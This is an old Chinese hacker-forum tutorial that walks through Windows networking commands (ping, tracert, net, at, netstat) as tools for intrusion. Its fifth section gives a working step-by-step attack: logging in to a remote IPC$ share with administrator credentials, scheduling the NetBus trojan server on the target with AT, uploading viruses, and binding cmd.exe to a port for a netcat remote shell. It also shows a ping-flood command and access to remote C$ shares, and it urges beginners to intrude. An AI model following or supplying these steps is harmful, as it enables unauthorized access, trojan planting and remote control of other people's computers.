安全基础
上网与学编程的日子不长,但对网络安全的兴趣却日益高涨,但经过一段时间以来对国内黑客站点的浏览以及部份BBS、留言版上的有关资讯,我发现国内很多新手似乎对网上零星散见的黑客软件极感兴趣,而不重视相关系统知识的积累,我觉得这是一个不好的趋向,所以呢,在这儿把自己相当浅薄的一些经验写出来,希望能够起到抛砖引玉的作用。
今天说些什么好呢?
对了,再说两句废话吧,“工欲善其事,必先利其器”——当然不是让你再满世界去找新的黑客软件啦(其实我不反对使用这些软件,相反我很喜欢用它们,但是必须是在知其所以然的情况下使用,才有可能对自身的电脑水平有所帮助),要进行入侵工作的话,至少(我认为)得装上NT操作系统,以它作为入侵平台,因为NT本身对网络的支持可以说比WIN9X来得更强大得多……当然,如果想对UNIX系统动点小手术(网络中的UNIX可始终还是主流呀)而又没钱装UNIX的话,LINUX也极佳的选择(特别是现在国内至少有七八种中文LINUX版本——想当年要给REDHAT配上中文支持是何等麻烦……),至少你可以借此了解UNIX系统的基本操作以及文件存放位置、系统配置、编译器、各种动作之后的记录等等……
然后还得再学点编程语言,至少C与UNIX下的SHELL编程得会一点,能看懂人家写的利用各种漏洞的程序,能对它进行修改,偶尔还能写几个小程序放到网上让大伙儿乐乐,这样玩起来才可能有成就感(其实我自己还不太行,但这多少是个目标)
好了,废话少说,先讲讲一些M$系统里自带的相关网络程序的使用吧。
在M$的操作系统中,与网络安全较有关系的几个命令/程序是:ping\\winipcfg\\tracert\\net\\at\\netstat,且待我慢慢道来:
1. ping:这是TCP/IP协议中最有用的命令之一
它给另一个系统发送一系列的数据包,该系统本身又发回一个响应,这条实用程序对查找远程主机很有用,它返回的结果表示是否能到达主机,宿主机发送一个返回数据包需要多长时间。
Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]
[-r count] [-s count] [[-j host-list] | [-k host-list]]
[-w timeout] destination-list
Options:
-t Ping the specifed host until interrupted.(除非人为中止,否则一直ping下去)
-a Resolve addresses to hostnames.(把IP转为主机名)
-n count Number of echo requests to send.(响应请求的数量)
-l size Send buffer size.(封包的大小)
-f Set Don\t Fragment flag in packet.(信息包中无碎片)
-i TTL Time To Live.(时间)
-v TOS Type Of Service.(服务类型)
-r count Record route for count hops.
-s count Timestamp for count hops.
-j host-list Loose source route along host-list.
-k host-list Strict source route along host-list.(较严格的……唉,怎么译好……算了,放着吧)
-w timeout Timeout in milliseconds to wait for each reply.(timeout的时间)
比如大家可能都知道的一个命令 # ping -f -s 65000 ***.***.***.***或者前阶段大家所谓ping死霉国佬时所用的命令(当然这样只会造成我方自己的网络阻塞)。
其实这个命令主要是用来看对方应答的速度,如果怎么ping 得到的结果都是request time out。那恐怕你根本就不用你去找这台主机了,它不在你的射程之内。
2. winipcfg:
这是用来看自己IP位址的小工具,win98自带,NT里则网络监视器里就能看到IP了,还有个小实用程序叫……好象是叫IPCONFIG吧,没怎么用,都快忘了……这种东东网上其实相当之多,但既然“自带”,又何须外求,何况网上下载的黑客的东东里有没有特洛伊犹未可知,再说了,如果你不是在自己的“爱姬”上运行,岂不是就没法干活?——哈,不好意思,跑题了,但——接着跑两句:可以把一些常用的、经典的工具上传到网上,当作一个备份,什么时候在网吧、某家公司要干活的话,直接下载就是一个完整无缺的工具包了。
这个东东相当简单,直接在DOS下键入命令就是了,没有什么参数。
3. tracert:是验证通往远程主机路径的实用程序
用法: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name
参数:
-d Do not resolve addresses to hostnames.(不将IP转为主机名)
-h maximum_hops Maximum number of hops to search for target.(最大跟踪数量)
-j host-list Loose source route along host-list.
-w timeout Wait timeout milliseconds for each reply.(time out 的时间)
最简单的用法就是 tracert hostname 其中hostname是计算机名或你想跟踪其路径的计算机的IP地址。TRACERT将返回数据包借以到达最终目的地的各种IP地址,你知道该怎么利用它吗?
我略为解释一下吧:跟踪通往210.142.192.130的路由,最大30:
第一行:*&^%&* 我就是从这里出去的(呵,真不想说^&^)
第四行:是不是快要出国了呢?
第九行:呀!这是日本鬼子的地盘……
4. net:这可是个非常棒的东西,如果不会用的话,赶紧睁大眼睛噢
这个命令的语法是: 可用的命令包括:
NET ACCOUNTS NET HELP NET SHARE
NET COMPUTER NET HELPMSG NET START
NET CONFIG NET LOCALGROUP NET STATISTICS
NET CONFIG SERVER NET NAME NET STOP
NET CONFIG WORKSTATION NET PAUSE NET TIME
NET CONTINUE NET PRINT NET USE
NET FILE NET SEND NET USER
NET GROUP NET SESSION NET VIEW
NET HELP SERVICES 列出用户可以启动的网络服务。
NET HELP SYNTAX 解释如何阅读 NET HELP 语法行。
NET HELP command | MORE 用于逐屏显示帮助。
我可就不逐样解释了——这样会把我的手指累坏,就说说常用的两个命令吧
a.net view
这个命令的语法是:NET VIEW [\\\\computername | /DOMAIN[:domainname]]
NET VIEW /NETWORK:NW [\\\\computername]
NET VIEW 用于显示一个计算机上共享资源的列表。当不带选项使用本命令时,
它就会显示当前域或网络上的计算机上的列表。
\\\\computername 指用户希望浏览其共享资源的计算机。
/DOMAIN:domainname 指定用户希望浏览有效的计算机所在的域。如果省略了域名,
就会显示局域网络上的所有域。
/NETWORK:NW 显示 NetWare 网络上所有可用的服务器。如果指定了一个计算
机名,就会显示NetWare 网络中那个计算机上的可用资源。
至于举例嘛,比如你知道一个远程计算机***.***.**.***上有开资源共享,那么运行
net view \\\\***.***.**.*** 就可以了
b.net use
这个命令的语法是:NET USE [devicename | *] [\\\\computername\\sharename[\\volume] [password | *]]
[/USER:[domainname\\]username]
[[/DELETE] | [/PERSISTENT:{YES | NO}]]
NET USE [devicename | *] [password | *]] [/HOME]
NET USE [/PERSISTENT:{YES | NO}]
NET USE 用于将计算机与共享的资源相连接,或者切断计算机与共享资源的
连接。当不带选项使用本命令时,它会列出计算机的连接。
devicename 指定一个名字以便与资源相连接,或者指定要切断的设备。有两种类型
的设备名:磁盘驱动器 (D: 至 Z:) 和打印机 (LPT1: 至 LPT3:)。输入
一个星号来代替一个指定的设备名可以分配下一个可用设备名。
\\\\computername 指控制共享资源的计算机的名字。如果计算机名中包含有空字符,
就要将双反斜线 (\\\\) 和计算机名一起用引号 (\" \")括起来。计算机名
可以有1 到15 个 字符。
\\sharename 指共享资源的网络名字。
\\volume 指定一个服务器上的 NetWare 卷。用户必须安装 Netware 的客户服务
(Windows NT 工作站) 或者 Netware 的网关服务 (Windows NT 服务
器) 并使之与NetWare 服务器相连。
password 指访问共享资源所需要的密码。
* 进行密码提示。当在密码提示符下输入密码时,密码是不会显示的。
/USER 指定连接时的一个不同的用户名。
domainname 指定另外一个域。如果缺省域,就会使用当前登录的域。
username 指定登录的用户名。
/HOME 将用户与他们的宿主目录相连。
/DELETE 取消一个网络连接,并且从永久连接列表中删除该连接。
/PERSISTENT 控制对永久网络连接的使用。其缺省值是最近使用的设置。
YES 在连接产生时保存它们,并在下次登录时恢复它们。
NO 不保存正在产生的连接或后续的连接;现有的连接将在下次登录时被
恢复。可以使用 /DELETE 选项开关来删除永久连接。
PS:前两天在绿色兵团的贴子里见到一位仁兄的话,与这个命令有异曲共工之妙,也说明一个大概:
在浏览器中输入 file:///\\\\***.***.**.***\\c$
则网上共享的C盘内容就会显示出来了,就仿佛用浏览器上FTP站点看到的一样。各位不妨试试,还可试试举一反三……
5.at: 排定在特定的日期和时间运行某些命令和程序。
运行 AT 命令之前必须先启动 Schedule 服务。瞧,现炒就得现卖,刚学了net命令,但这个start命令我可没详述,自已看看帮助文件,摸索一下各种命令的用法吧。
C:\\>net start schedule
Schedule 正在启动服务.....
Schedulw 服务启动成功。
AT [\\\\computername] [ [id] [/DELETE] | /DELETE [/YES]]
AT [\\\\computername] time [/INTERACTIVE]
[ /EVERY:date[,...] | /NEXT:date[,...]] \"command\"
\\\\computername 指定远程计算机。 如果省略这个参数
命令会被排定在本机上运行。
id 指定给排定进度命令的识别号。
/delete 删除某个已排定进度的命令。如果省略标识,计算机上所有已排定进度的
命令都会被删除。
/yes 用于删除所有作业,且不想在运行删除时显示确认
信息 。
time 指定命令运行的时间。
/interactive 允许作业在运行时,与用户通过桌面交互。
/every:date[,...] 指定在每周或每月的某日 (或某几日) 运行命令。
如果省略日期,则默认为在每月的本日运行。
/next:date[,...] 指定在下一个指定日期 (如,下周三),运行命令。
如果省略日期,则默认为在每月的本日运行。
\"command\" 准备运行的 Windows NT 命令或批处理文件。
知道了如何使用AT,再来看看如何在远程NT上运行ntsrv.exe:
1 利用管理员登陆到目的服务器,方法为: net use \\\\x.x.x.x\\ipc$ \"adminpwd\" /user:\"adminuser\"(这里具体方法可参见KILLUSA的文章《HOW TO GET IN NT》)
2 利用ntsrv.exe启动远程: netsvc \\\\x.x.x.x schedule /start
3 利用AT.EXE在远程服务器设置程序定时运行,当然最快运行最理想,所以,你可以用letmein.exe得到服务器的时间,然后:
at \\\\x.x.x.x 00:00 ntsrv.exe /port:64321
其中00:00要改为用letmein.exe得回来的具体时间+一点容量,等一会后,再在本地启动netbus.exe,键入目的服务器得ip地址或hostname,连接!比如第一种方法,你想要在目的服务器运行诸如病毒之类的东东,可以利用netbus得上传功能,将各种“大补丸”上传至目的服务器,再用netbus的\"Start program\",键入完整路径,就ok了!第二种方法是利用netbus的“App redirect”功能,启动远程telnet服务,如下:在netbus中击“App redirect”,键入\"C:\\>winnt\\system32\\cmd.exe\",Port为:4321,服务就启动了,然后在本地运行:nc x.x.x.x 4321,出现dos启动的画面就表示连接成功:
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\\>
注:这里有一小段是抄KILLUSA的文章——别找我要稿费啊^&^
6.netstat 这是一个观察网络连接状态的实用工具。
它能检验IP的当前连接状态,在断定你的基本级通信正在进行后,就要验证系统上的服务。这个服务包括检查正在收听输入的通信量和/或验证你正在创建一个与远程站点的会话,它可以很轻松地做到这一点。网上也可以看到很多如X-netstat之类的工具,是WIN界面的,更加直观而已,并没有多什么功能,这个命令的具体用法如下:
Displays protocol statistics and current TCP/IP network connections.(显示协议与当前网络连接)
NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]
-a Displays all connections and listening ports.(显示所有连接和监听端口)
-e Displays Ethernet statistics. This may be combined with the -s
option.(显示以太连接,可以与-s连用)
-n Displays addresses and port numbers in numerical form.(显示地址和端口)
-p proto Shows connections for the protocol specified by proto; proto
may be TCP or UDP. If used with the -s option to display
per-protocol statistics, proto may be TCP, UDP, or IP.
-r Displays the routing table.
-s Displays per-protocol statistics. By default, statistics are
shown for TCP, UDP and IP; the -p option may be used to specify
a subset of the default.
interval Redisplays selected statistics, pausing interval seconds
between each display. Press CTRL+C to stop redisplaying
statistics. If omitted, netstat will print the current
configuration information once.(interval是设定一个刷新时间,在间隔时间内暂停,按CTRL+C停止……)
这是我在本机未连接网络时运行的,第一列为协议,第二列为本地地址,第三列是与你进行连接的主机或用户的IP位址(IP后冒号之后的数字是端口号),最后一列是状态。这个命令以-n和-a的参数我较常使用,读者可以参考使用。
怎么样,不用什么黑客工具也有可能入侵吧?当然你得对TCP/IP有一定的了解,而且呢,关键是要会找到有共享的远程主机……下回再说吧,今天总算把文章KEY IN,手酸死了!对了,最后还得推荐国内几个优秀的黑客站点让大家时不时去观摩一下,也了解一下国内计算机安全的最新动态吧!
PS:本页面图形仅为说明各种命令而在网络上运行后抓图,若涉及他人,请原谅我的无心之失。
发布人:netbull 来自:黑白世界